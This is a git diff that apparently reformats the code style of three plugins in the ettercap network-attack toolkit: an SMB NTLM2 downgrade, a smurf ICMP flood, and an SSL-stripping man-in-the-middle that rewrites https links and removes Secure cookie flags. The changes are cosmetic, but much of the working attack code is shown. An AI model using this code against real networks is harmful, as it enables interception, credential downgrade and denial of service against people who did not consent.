&smb_down_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &smb_down_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int smb_down_init(void *dummy) +static int smb_down_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -90,16 +88,15 @@ static int smb_down_init(void *dummy) } USER_MSG("smb_down: plugin running...\n"); - + hook_add(HOOK_PROTO_SMB_CHL, &parse_smb); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int smb_down_fini(void *dummy) +static int smb_down_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("smb_down: plugin terminated...\n"); @@ -117,11 +114,11 @@ static void parse_smb(struct packet_object *po) u_char *ptr; u_int32 *Flags; char tmp[MAX_ASCII_ADDR_LEN]; - + /* It is pointless to modify packets that won't be forwarded */ - if (!(po->flags & PO_FORWARDABLE)) - return; - + if (!(po->flags & PO_FORWARDABLE)) + return; + /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)po->DATA.data; smb = (SMB_header *)(NetBIOS + 1); @@ -132,29 +129,28 @@ static void parse_smb(struct packet_object *po) * a SessionSetup request packet. * Let's check if it's NTLMSSP_NEGOTIATE */ - ptr += ( (*ptr) * 2 + 3 ); - if ( (ptr = memmem(ptr, 128, "NTLMSSP", 8)) == NULL) - return; - - ptr = (u_char*)strchr((char*)ptr, 0); - ptr++; - - /* NTLMSSP_NEGOTIATE */ - if (*ptr != 1) - return; - ptr+=4; - /* Catch the flags */ - Flags = (u_int32 *)ptr; - - if (*Flags & ntohl(NTLM2_KEY)) { - *Flags ^= ntohl(NTLM2_KEY); - USER_MSG("smb_down: Forced no NTLM2 key %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); - USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); - po->flags |= PO_MODIFIED; - } + ptr += ((*ptr) * 2 + 3); + if ((ptr = memmem(ptr, 128, "NTLMSSP", 8)) == NULL) + return; + + ptr = (u_char *)strchr((char *)ptr, 0); + ptr++; + + /* NTLMSSP_NEGOTIATE */ + if (*ptr != 1) + return; + ptr += 4; + /* Catch the flags */ + Flags = (u_int32 *)ptr; + + if (*Flags & ntohl(NTLM2_KEY)) { + *Flags ^= ntohl(NTLM2_KEY); + USER_MSG("smb_down: Forced no NTLM2 key %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); + USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); + po->flags |= PO_MODIFIED; + } } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/smurf_attack/smurf_attack.c b/plug-ins/smurf_attack/smurf_attack.c index d4f0df275..3a9909ffc 100644 --- a/plug-ins/smurf_attack/smurf_attack.c +++ b/plug-ins/smurf_attack/smurf_attack.c @@ -21,12 +21,12 @@ static EC_THREAD_FUNC(smurfer); /* globals */ struct plugin_ops smurf_attack_ops = { - .ettercap_version = EC_VERSION, - .name = "smurf_attack", - .info = "Run a smurf attack against specified hosts", - .version = "1.0", - .init = &smurf_attack_init, - .fini = &smurf_attack_fini, + .ettercap_version = EC_VERSION, + .name = "smurf_attack", + .info = "Run a smurf attack against specified hosts", + .version = "1.0", + .init = &smurf_attack_init, + .fini = &smurf_attack_fini, }; /* teh c0d3 */ @@ -41,21 +41,21 @@ static int smurf_attack_init(void *dummy) struct ip_list *i; /* variable not used */ - (void) dummy; + (void)dummy; DEBUG_MSG("smurf_attack_init"); - if(GBL_OPTIONS->unoffensive) { + if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("smurf_attack: plugin doesnt work in unoffensive mode\n"); return PLUGIN_FINISHED; } - if(GBL_TARGET1->all_ip && GBL_TARGET1->all_ip6) { + if (GBL_TARGET1->all_ip && GBL_TARGET1->all_ip6) { USER_MSG("Add at least one host to target one list.\n"); return PLUGIN_FINISHED; } - if(GBL_TARGET2->all_ip && GBL_TARGET2->all_ip6 && LIST_EMPTY(&GBL_HOSTLIST)) { + if (GBL_TARGET2->all_ip && GBL_TARGET2->all_ip6 && LIST_EMPTY(&GBL_HOSTLIST)) { USER_MSG("Target two and global hostlist are empty.\n"); return PLUGIN_FINISHED; } @@ -81,11 +81,11 @@ static int smurf_attack_fini(void *dummy) pthread_t pid; /* variable not used */ - (void) dummy; + (void)dummy; DEBUG_MSG("smurf_attack_fini"); - while(!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("smurfer"))) { + while (!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("smurfer"))) { ec_thread_destroy(pid); } @@ -97,10 +97,10 @@ static EC_THREAD_FUNC(smurfer) struct ip_addr *ip; struct ip_list *i, *itmp; struct hosts_list *h, *htmp; - LIST_HEAD(ip_list_t, ip_list) *ips = NULL; + LIST_HEAD(ip_list_t, ip_list) * ips = NULL; u_int16 proto; - int (*icmp_send)(struct ip_addr*, struct ip_addr*); + int (*icmp_send)(struct ip_addr *, struct ip_addr *); DEBUG_MSG("smurfer"); @@ -109,42 +109,41 @@ static EC_THREAD_FUNC(smurfer) proto = ntohs(ip->addr_type); /* some pointer magic here. nothing difficult */ - switch(proto) { - case AF_INET: - icmp_send = send_L3_icmp_echo; - ips = (struct ip_list_t *)&GBL_TARGET2->ips; - break; + switch (proto) { + case AF_INET: + icmp_send = send_L3_icmp_echo; + ips = (struct ip_list_t *)&GBL_TARGET2->ips; + break; #ifdef WITH_IPV6 - case AF_INET6: - icmp_send = send_L3_icmp6_echo; - ips = (struct ip_list_t *)&GBL_TARGET2->ip6; - break; + case AF_INET6: + icmp_send = send_L3_icmp6_echo; + ips = (struct ip_list_t *)&GBL_TARGET2->ip6; + break; #endif - default: + default: /* This won't ever be reached * if no other network layer protocol * is added. */ - ec_thread_destroy(EC_PTHREAD_SELF); - break; + ec_thread_destroy(EC_PTHREAD_SELF); + break; } LOOP { CANCELLATION_POINT(); /* if target two list is not empty using it */ - if(!LIST_EMPTY(ips)) + if (!LIST_EMPTY(ips)) LIST_FOREACH_SAFE(i, ips, next, itmp) - icmp_send(ip, &i->ip); + icmp_send(ip, &i->ip); /* else using global hostlist */ else LIST_FOREACH_SAFE(h, &GBL_HOSTLIST, next, htmp) - if(ntohs(h->ip.addr_type) == proto) - icmp_send(ip, &h->ip); + if (ntohs(h->ip.addr_type) == proto) + icmp_send(ip, &h->ip); - ec_usleep(1000*1000/GBL_CONF->sampling_rate); + ec_usleep(1000 * 1000 / GBL_CONF->sampling_rate); } return NULL; } - diff --git a/plug-ins/sslstrip/sslstrip.c b/plug-ins/sslstrip/sslstrip.c index 733b66abf..fb1a4e0de 100644 --- a/plug-ins/sslstrip/sslstrip.c +++ b/plug-ins/sslstrip/sslstrip.c @@ -1,24 +1,23 @@ /* - sslstrip -- ettercap plugin -- SSL Strip per Moxie (http://www.thoughtcrime.org/software/sslstrip/) - - Copyright (C) Ettercap Development Team. 2012. - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * sslstrip -- ettercap plugin -- SSL Strip per Moxie (http://www.thoughtcrime.org/software/sslstrip/) + * + * Copyright (C) Ettercap Development Team. 2012. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -47,7 +46,6 @@ #include #endif - #ifdef HAVE_SYS_POLL_H #include #endif @@ -59,22 +57,20 @@ #endif /* - * This plugin will basically replace all https links sent to the user's browser with http + * This plugin will basically replace all https links sent to the user's browser with http * but keep track of those https links to send a proper HTTPS request to the links when requested. */ - #if defined(OS_DARWIN) || defined(OS_BSD) #define SSLSTRIP_SET "21" #endif -//#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)://([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)" -//#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)(\\%3A|\\%3a|:)//([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)" +// #define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)://([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)" +// #define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)(\\%3A|\\%3a|:)//([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)" #define URL_PATTERN "(https://[\\w\\d:#@%/;$()~_?\\+-=\\\\.&]*)" -//#define COOKIE_PATTERN "Set-Cookie: (.*?;)(.?Secure;|.?Secure)(.*?)\r\n" +// #define COOKIE_PATTERN "Set-Cookie: (.*?;)(.?Secure;|.?Secure)(.*?)\r\n" #define COOKIE_PATTERN "Set-Cookie: ([ \\w\\d:#@%/;$()~_?\\+-=\\\\.&]+); ?Secure" - #define REQUEST_TIMEOUT 120 /* If a request has not been used in 120 seconds, remove it from list */ #define HTTP_RETRY 500 @@ -83,26 +79,25 @@ #define PROTO_HTTP 1 #define PROTO_HTTPS 2 -#define HTTP_GET (1<<16) -#define HTTP_POST (1<<24) - -#define HTTP_MAX (1024*200) //200KB max for HTTP requests. - -#define BREAK_ON_ERROR(x,y,z) do { \ - if (x == -E_INVALID ) { \ - http_wipe_connection(y); \ - SAFE_FREE(z.DATA.data); \ - SAFE_FREE(z.DATA.disp_data); \ - ec_thread_exit(); \ - } \ -} while(0) +#define HTTP_GET (1 << 16) +#define HTTP_POST (1 << 24) +#define HTTP_MAX (1024 * 200) // 200KB max for HTTP requests. +#define BREAK_ON_ERROR(x, y, z) \ + do { \ + if (x == -E_INVALID) { \ + http_wipe_connection(y); \ + SAFE_FREE(z.DATA.data); \ + SAFE_FREE(z.DATA.disp_data); \ + ec_thread_exit(); \ + } \ + } while (0) /* lists */ struct http_ident { u_int32 magic; - #define HTTP_MAGIC 0x0501e77f +#define HTTP_MAGIC 0x0501e77f struct ip_addr L3_src; u_int16 L4_src; u_int16 L4_dst; @@ -113,7 +108,7 @@ struct http_ident { struct https_link { char *url; time_t last_used; - LIST_ENTRY (https_link) next; + LIST_ENTRY(https_link) next; }; struct http_request { @@ -129,21 +124,21 @@ struct http_response { }; struct http_connection { - int fd; + int fd; u_int16 port[2]; struct ip_addr ip[2]; - CURL *handle; + CURL *handle; struct http_request *request; struct http_response *response; char curl_err_buffer[CURL_ERROR_SIZE]; - #define HTTP_CLIENT 0 - #define HTTP_SERVER 1 +#define HTTP_CLIENT 0 +#define HTTP_SERVER 1 }; LIST_HEAD(, https_link) https_links; static pthread_mutex_t list_mutex = PTHREAD_MUTEX_INITIALIZER; -#define LIST_LOCK do{ pthread_mutex_lock(&list_mutex); } while(0) -#define LIST_UNLOCK do{ pthread_mutex_unlock(&list_mutex); } while(0) +#define LIST_LOCK do { pthread_mutex_lock(&list_mutex); } while (0) +#define LIST_UNLOCK do { pthread_mutex_unlock(&list_mutex); } while (0) /* globals */ static int main_fd, main_fd6; @@ -169,7 +164,6 @@ static size_t http_create_ident(void **i, struct packet_object *po); /* http stuff */ static void Find_Url(u_char *to_parse, char **ret); - static int http_sync_conn(struct http_connection *connection); static int http_get_peer(struct http_connection *connection); static int http_read(struct http_connection *connection, struct packet_object *po); @@ -186,9 +180,7 @@ static void http_send(struct http_connection *connection, struct packet_object * static void http_remove_https(struct http_connection *connection); static void http_remove_secure_from_cookie(struct http_connection *connection); static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata); -//static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream); - - +// static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream); /* thread stuff */ static int http_bind_wrapper(void); @@ -200,15 +192,15 @@ static EC_THREAD_FUNC(http_accept_thread); * from this plugin */ -#define PO_FROMSSLSTRIP ((u_int16)(1<<13)) +#define PO_FROMSSLSTRIP ((u_int16)(1 << 13)) struct plugin_ops sslstrip_ops = { - .ettercap_version = EC_VERSION, /* must match global EC_VERSION */ - .name = "sslstrip", - .info = "SSLStrip plugin", - .version = "1.2", - .init = &sslstrip_init, - .fini = &sslstrip_fini, + .ettercap_version = EC_VERSION, /* must match global EC_VERSION */ + .name = "sslstrip", + .info = "SSLStrip plugin", + .version = "1.2", + .init = &sslstrip_init, + .fini = &sslstrip_fini, }; int plugin_load(void *handle) @@ -224,23 +216,23 @@ static int sslstrip_init(void *dummy) char errbuf[100]; /* variable not used */ - (void) dummy; + (void)dummy; /* * Add IPTables redirect for port 80 - */ + */ if (http_bind_wrapper() != E_SUCCESS) { USER_MSG("SSLStrip: plugin load failed: Could not set up HTTP redirect\n"); return PLUGIN_FINISHED; } - https_url_pcre = pcre_compile(URL_PATTERN, PCRE_MULTILINE|PCRE_CASELESS, &error, &erroroffset, NULL); + https_url_pcre = pcre_compile(URL_PATTERN, PCRE_MULTILINE | PCRE_CASELESS, &error, &erroroffset, NULL); if (!https_url_pcre) { USER_MSG("SSLStrip: plugin load failed: pcre_compile failed (offset: %d), %s\n", erroroffset, error); http_remove_redirect(bind_port); return PLUGIN_FINISHED; - } + } err = regcomp(&find_cookie_re, COOKIE_PATTERN, REG_EXTENDED | REG_NEWLINE | REG_ICASE); if (err) { @@ -255,7 +247,6 @@ static int sslstrip_init(void *dummy) /* start HTTP accept thread */ - ec_thread_new_detached("http_accept_thread", "HTTP Accept thread", &http_accept_thread, NULL, 1); USER_MSG("SSLStrip Plugin version 1.2 is still under experimental mode. Please reports any issues to the development team.\n"); @@ -266,7 +257,7 @@ static int sslstrip_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; DEBUG_MSG("SSLStrip: Removing redirect\n"); if (http_remove_redirect(bind_port) != E_SUCCESS) { @@ -275,23 +266,22 @@ static int sslstrip_fini(void *dummy) // Free regexes. if (https_url_pcre) - pcre_free(https_url_pcre); + pcre_free(https_url_pcre); regfree(&find_cookie_re); /* stop accept wrapper */ pthread_t pid = ec_thread_getpid("http_accept_thread"); - + if (!pthread_equal(pid, EC_PTHREAD_NULL)) - ec_thread_destroy(pid); + ec_thread_destroy(pid); /* now destroy all http_child_thread */ do { pid = ec_thread_getpid("http_child_thread"); - - if(!pthread_equal(pid, EC_PTHREAD_NULL)) - ec_thread_destroy(pid); + if (!pthread_equal(pid, EC_PTHREAD_NULL)) + ec_thread_destroy(pid); } while (!pthread_equal(pid, EC_PTHREAD_NULL)); close(main_fd); @@ -315,8 +305,8 @@ static int sslstrip_is_http(struct packet_object *po) ntohs(po->L4.src) == 80) return 1; - if (strstr((const char*)po->DATA.data, "HTTP/1.1") || - strstr((const char*)po->DATA.data, "HTTP/1.0")) + if (strstr((const char *)po->DATA.data, "HTTP/1.1") || + strstr((const char *)po->DATA.data, "HTTP/1.0")) return 1; return 0; } @@ -338,7 +328,7 @@ static int sslstrip_match(void *id_sess, void *id_curr) if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && !ip_addr_cmp(&ids->L3_src, &id->L3_src)) - return 1; + return 1; return 0; } @@ -347,7 +337,7 @@ static void sslstrip_create_session(struct ec_session **s, struct packet_object { void *ident; DEBUG_MSG("sslstrip_create_session"); - + /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); @@ -363,6 +353,7 @@ static void sslstrip_create_session(struct ec_session **s, struct packet_object /* alloc of data elements */ SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_addr)); } + #endif /* @@ -372,26 +363,25 @@ static void sslstrip(struct packet_object *po) { if (!sslstrip_is_http(po)) - return; + return; /* If it's an HTTP packet, don't forward it */ - po->flags |= PO_DROPPED; - + po->flags |= PO_DROPPED; - if ( (po->flags & PO_FORWARDABLE) && - (po->L4.flags & TH_SYN) && - !(po->L4.flags & TH_ACK) ) { + if ((po->flags & PO_FORWARDABLE) && + (po->L4.flags & TH_SYN) && + !(po->L4.flags & TH_ACK)) + { #ifndef OS_LINUX struct ec_session *s = NULL; - sslstrip_create_session(&s, PACKET); + sslstrip_create_session(&s, PACKET); memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr)); session_put(s); - + #endif } else { po->flags |= PO_IGNORE; } - } /* Unescape the string */ @@ -407,10 +397,10 @@ static void Decode_Url(u_char *src) /* NULL terminate for the strtoul */ t[2] = 0; - for (i=0, j=0; src[i] != 0; i++, j++) { + for (i = 0, j = 0; src[i] != 0; i++, j++) { ch = (u_int32)src[i]; if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) { - memcpy(t, src+i+1, 2); + memcpy(t, src + i + 1, 2); ch = strtoul((char *)t, NULL, 16); i += 2; } @@ -422,7 +412,7 @@ static void Decode_Url(u_char *src) /* Gets the URL from the request */ static void Find_Url(u_char *to_parse, char **ret) { - u_char *fromhere, *page=NULL, *host=NULL; + u_char *fromhere, *page = NULL, *host = NULL; u_int32 len; char *tok; @@ -435,8 +425,7 @@ static void Find_Url(u_char *to_parse, char **ret) /* Get the page from the request */ page = (u_char *)strdup((char *)to_parse); - if(page == NULL) - { + if (page == NULL) { USER_MSG("SSLStrip: Find_Url: page is NULL\n"); return; } @@ -444,18 +433,16 @@ static void Find_Url(u_char *to_parse, char **ret) ec_strtok((char *)page, " HTTP", &tok); /* If the path is relative, search for the Host */ - if ((*page=='/') && (fromhere = (u_char *)strstr((char *)to_parse, "Host: "))) { - host = (u_char *)strdup( (char *)fromhere + strlen("Host: ") ); - if(host == NULL) - { + if ((*page == '/') && (fromhere = (u_char *)strstr((char *)to_parse, "Host: "))) { + host = (u_char *)strdup((char *)fromhere + strlen("Host: ")); + if (host == NULL) { USER_MSG("SSLStrip: Find_Url: host is NULL\n"); return; } ec_strtok((char *)host, "\r", &tok); } else { - host = (u_char*)strdup(""); - if(host == NULL) - { + host = (u_char *)strdup(""); + if (host == NULL) { USER_MSG("SSLStrip: Find_Url: relative path, but host is NULL\n"); return; } @@ -477,24 +464,20 @@ static int http_insert_redirect(u_int16 dport) char asc_dport[16]; int i, ret_val = 0; char *command; - char *param[4], *commands[2] = {NULL, NULL}; + char *param[4], *commands[2] = { NULL, NULL }; - if (GBL_CONF->redir_command_on == NULL) - { + if (GBL_CONF->redir_command_on == NULL) { USER_MSG("SSLStrip: cannot setup the redirect, did you uncomment the redir_command_on command on your etter.conf file?\n"); return -E_FATAL; - } - else { + } else { commands[0] = strdup(GBL_CONF->redir_command_on); } #ifdef WITH_IPV6 /* execution of the redirect script for IPv6 is optional */ - if (GBL_CONF->redir6_command_on == NULL) - { + if (GBL_CONF->redir6_command_on == NULL) { WARN_MSG("SSLStrip: cannot setup the redirect for IPv6, did you uncomment the redir6_command_on in your etter.conf file?"); - } - else { + } else { commands[1] = strdup(GBL_CONF->redir6_command_on); } #endif @@ -505,10 +488,9 @@ static int http_insert_redirect(u_int16 dport) command = commands[i]; - if(command==NULL) - { - USER_MSG("SSLStrip: bad redir_command_on or redir6_command_on values\n"); - return -E_FATAL; + if (command == NULL) { + USER_MSG("SSLStrip: bad redir_command_on or redir6_command_on values\n"); + return -E_FATAL; } str_replace(&command, "%iface", GBL_OPTIONS->iface); str_replace(&command, "%port", "80"); @@ -524,31 +506,30 @@ static int http_insert_redirect(u_int16 dport) param[2] = command; param[3] = NULL; - switch(fork()) { - case 0: - regain_privs(); - execvp(param[0], param); - drop_privs(); - WARN_MSG("Cannot setup http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); - SAFE_FREE(command); - _exit(-E_INVALID); - case -1: + switch (fork()) { + case 0: + regain_privs(); + execvp(param[0], param); + drop_privs(); + WARN_MSG("Cannot setup http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); + SAFE_FREE(command); + _exit(-E_INVALID); + case -1: + SAFE_FREE(command); + return -E_INVALID; + default: + wait(&ret_val); + if (WIFEXITED(ret_val) && WEXITSTATUS(ret_val)) { + DEBUG_MSG("http_insert_redirect: child exited with non-zero return code: %d", + WEXITSTATUS(ret_val)); + USER_MSG("SSLStrip: redir_command_on had non-zero exit status (%d): [%s]\n", WEXITSTATUS(ret_val), command); SAFE_FREE(command); return -E_INVALID; - default: - wait(&ret_val); - if (WIFEXITED(ret_val) && WEXITSTATUS(ret_val)) { - DEBUG_MSG("http_insert_redirect: child exited with non-zero return code: %d", - WEXITSTATUS(ret_val)); - USER_MSG("SSLStrip: redir_command_on had non-zero exit status (%d): [%s]\n", WEXITSTATUS(ret_val), command); - SAFE_FREE(command); - return -E_INVALID; - } - break; + } + break; } SAFE_FREE(command); - } return E_SUCCESS; @@ -559,25 +540,20 @@ static int http_remove_redirect(u_int16 dport) char asc_dport[16]; int i, ret_val = 0; char *command; - char *param[4], *commands[2] = {NULL, NULL}; + char *param[4], *commands[2] = { NULL, NULL }; - - if (GBL_CONF->redir_command_off == NULL) - { + if (GBL_CONF->redir_command_off == NULL) { USER_MSG("SSLStrip: cannot remove the redirect, did you uncomment the redir_command_off command on your etter.conf file?"); return -E_FATAL; - } - else { + } else { commands[0] = strdup(GBL_CONF->redir_command_off); } #ifdef WITH_IPV6 /* redirect script for IPv6 is optional */ - if (GBL_CONF->redir6_command_off == NULL) - { + if (GBL_CONF->redir6_command_off == NULL) { WARN_MSG("SSLStrip: cannot remove the redirect for IPv6, did you uncoment the redir6_command_off command in you etter.conf file?"); - } - else { + } else { commands[1] = strdup(GBL_CONF->redir6_command_off); } #endif @@ -588,10 +564,9 @@ static int http_remove_redirect(u_int16 dport) command = commands[i]; - if(command==NULL) - { - USER_MSG("SSLStrip: bad redir_command_off or redir6_command_off values\n"); - return -E_FATAL; + if (command == NULL) { + USER_MSG("SSLStrip: bad redir_command_off or redir6_command_off values\n"); + return -E_FATAL; } str_replace(&command, "%iface", GBL_OPTIONS->iface); str_replace(&command, "%port", "80"); @@ -607,31 +582,30 @@ static int http_remove_redirect(u_int16 dport) param[2] = command; param[3] = NULL; - switch(fork()) { - case 0: - regain_privs(); - execvp(param[0], param); - drop_privs(); - WARN_MSG("Cannot remove http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); - SAFE_FREE(command); - _exit(-E_INVALID); - case -1: + switch (fork()) { + case 0: + regain_privs(); + execvp(param[0], param); + drop_privs(); + WARN_MSG("Cannot remove http redirect (command: %s), please edit your etter.conf file and put a valid value in redir_command_on field\n", param[0]); + SAFE_FREE(command); + _exit(-E_INVALID); + case -1: + SAFE_FREE(command); + return -E_INVALID; + default: + wait(&ret_val); + if (WIFEXITED(ret_val) && WEXITSTATUS(ret_val)) { + DEBUG_MSG("http_remove_redirect: child exited with non-zero return code: %d", + WEXITSTATUS(ret_val)); + USER_MSG("SSLStrip: redir_command_off had non-zero exit status (%d): [%s]\n", WEXITSTATUS(ret_val), command); SAFE_FREE(command); return -E_INVALID; - default: - wait(&ret_val); - if (WIFEXITED(ret_val) && WEXITSTATUS(ret_val)) { - DEBUG_MSG("http_remove_redirect: child exited with non-zero return code: %d", - WEXITSTATUS(ret_val)); - USER_MSG("SSLStrip: redir_command_off had non-zero exit status (%d): [%s]\n", WEXITSTATUS(ret_val), command); - SAFE_FREE(command); - return -E_INVALID; - } - break; + } + break; } SAFE_FREE(command); - } return E_SUCCESS; @@ -650,9 +624,8 @@ static EC_THREAD_FUNC(http_accept_thread) struct sockaddr_in6 *sa6; #endif - /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; ec_thread_init(); @@ -678,18 +651,18 @@ static EC_THREAD_FUNC(http_accept_thread) else if (poll_fd[1].revents & POLLIN) fd = poll_fd[1].fd; #endif - else + else continue; /* accept incoming connection */ SAFE_CALLOC(connection, 1, sizeof(struct http_connection)); - BUG_IF(connection==NULL); + BUG_IF(connection == NULL); SAFE_CALLOC(connection->request, 1, sizeof(struct http_request)); - BUG_IF(connection->request==NULL); + BUG_IF(connection->request == NULL); SAFE_CALLOC(connection->response, 1, sizeof(struct http_response)); - BUG_IF(connection->response==NULL); + BUG_IF(connection->response == NULL); connection->fd = accept(fd, (struct sockaddr *)&client_ss, &len); @@ -704,29 +677,29 @@ static EC_THREAD_FUNC(http_accept_thread) sa = (struct sockaddr *)&client_ss; switch (sa->sa_family) { - case AF_INET: - sa4 = (struct sockaddr_in *)&client_ss; - ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); - connection->port[HTTP_CLIENT] = sa4->sin_port; - break; + case AF_INET: + sa4 = (struct sockaddr_in *)&client_ss; + ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); + connection->port[HTTP_CLIENT] = sa4->sin_port; + break; #ifdef WITH_IPV6 - case AF_INET6: - sa6 = (struct sockaddr_in6 *)&client_ss; - ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); - connection->port[HTTP_CLIENT] = sa6->sin6_port; - break; + case AF_INET6: + sa6 = (struct sockaddr_in6 *)&client_ss; + ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); + connection->port[HTTP_CLIENT] = sa6->sin6_port; + break; #endif } connection->port[HTTP_SERVER] = htons(80); - //connection->request->len = 0; + // connection->request->len = 0; /* set SO_KEEPALIVE */ if (setsockopt(connection->fd, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) { DEBUG_MSG("SSLStrip: Could not set up SO_KEEPALIVE"); } /* create detached thread */ - ec_thread_new_detached("http_child_thread", "http child", &http_child_thread, connection, 1); + ec_thread_new_detached("http_child_thread", "http child", &http_child_thread, connection, 1); } return NULL; @@ -738,20 +711,20 @@ static int http_get_peer(struct http_connection *connection) #ifndef OS_LINUX struct ec_session *s = NULL; struct packet_object po; - void *ident= NULL; + void *ident = NULL; int i; memcpy(&po.L3.src, &connection->ip[HTTP_CLIENT], sizeof(struct ip_addr)); po.L4.src = connection->port[HTTP_CLIENT]; - po.L4.dst = connection->port[HTTP_SERVER]; + po.L4.dst = connection->port[HTTP_SERVER]; http_create_ident(&ident, &po); /* Wait for sniffing thread */ - for (i=0; iip[HTTP_CLIENT].addr_type)) { - case AF_INET: - getsockopt (connection->fd, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len); - sa4 = (struct sockaddr_in *)&ss; - ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); - break; + case AF_INET: + getsockopt(connection->fd, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *)&ss, &ss_len); + sa4 = (struct sockaddr_in *)&ss; + ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); + break; #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST - case AF_INET6: - getsockopt (connection->fd, IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len); - sa6 = (struct sockaddr_in6 *)&ss; - ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); - break; + case AF_INET6: + getsockopt(connection->fd, IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr *)&ss, &ss_len); + sa6 = (struct sockaddr_in6 *)&ss; + ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); + break; #endif } #endif return E_SUCCESS; - } - #ifndef OS_LINUX static size_t http_create_ident(void **i, struct packet_object *po) { @@ -807,14 +778,14 @@ static size_t http_create_ident(void **i, struct packet_object *po) *i = ident; return sizeof(struct http_ident); } + #endif -static int http_sync_conn(struct http_connection *connection) +static int http_sync_conn(struct http_connection *connection) { if (http_get_peer(connection) != E_SUCCESS) return -E_INVALID; - set_blocking(connection->fd, 0); return E_SUCCESS; } @@ -827,8 +798,7 @@ static int http_read(struct http_connection *connection, struct packet_object *p do { len = read(connection->fd, po->DATA.data, HTTP_MAX); - - if(len <= 0) { + if (len <= 0) { /* in non-blocking mode we have to evaluate the socket error */ int err = 0; err = GET_SOCK_ERRNO(); @@ -836,12 +806,10 @@ static int http_read(struct http_connection *connection, struct packet_object *p if (err == EINTR || err == EAGAIN) { /* data not yet arrived, wait a bit and keep trying */ ec_usleep(MILLI2MICRO(HTTP_WAIT)); - } - else + } else /* something went wrong */ break; - } - else { + } else { /* we got data - break up */ ret = E_SUCCESS; break; @@ -860,7 +828,7 @@ static void http_handle_request(struct http_connection *connection, struct packe SAFE_CALLOC(connection->request->url, 1, 512); - if (connection->request->url==NULL) + if (connection->request->url == NULL) return; Find_Url(po->DATA.data, &connection->request->url); @@ -869,34 +837,32 @@ static void http_handle_request(struct http_connection *connection, struct packe return; } - - //parse HTTP request + // parse HTTP request if (!memcmp(po->DATA.data, "GET", 3)) { connection->request->method = HTTP_GET; } 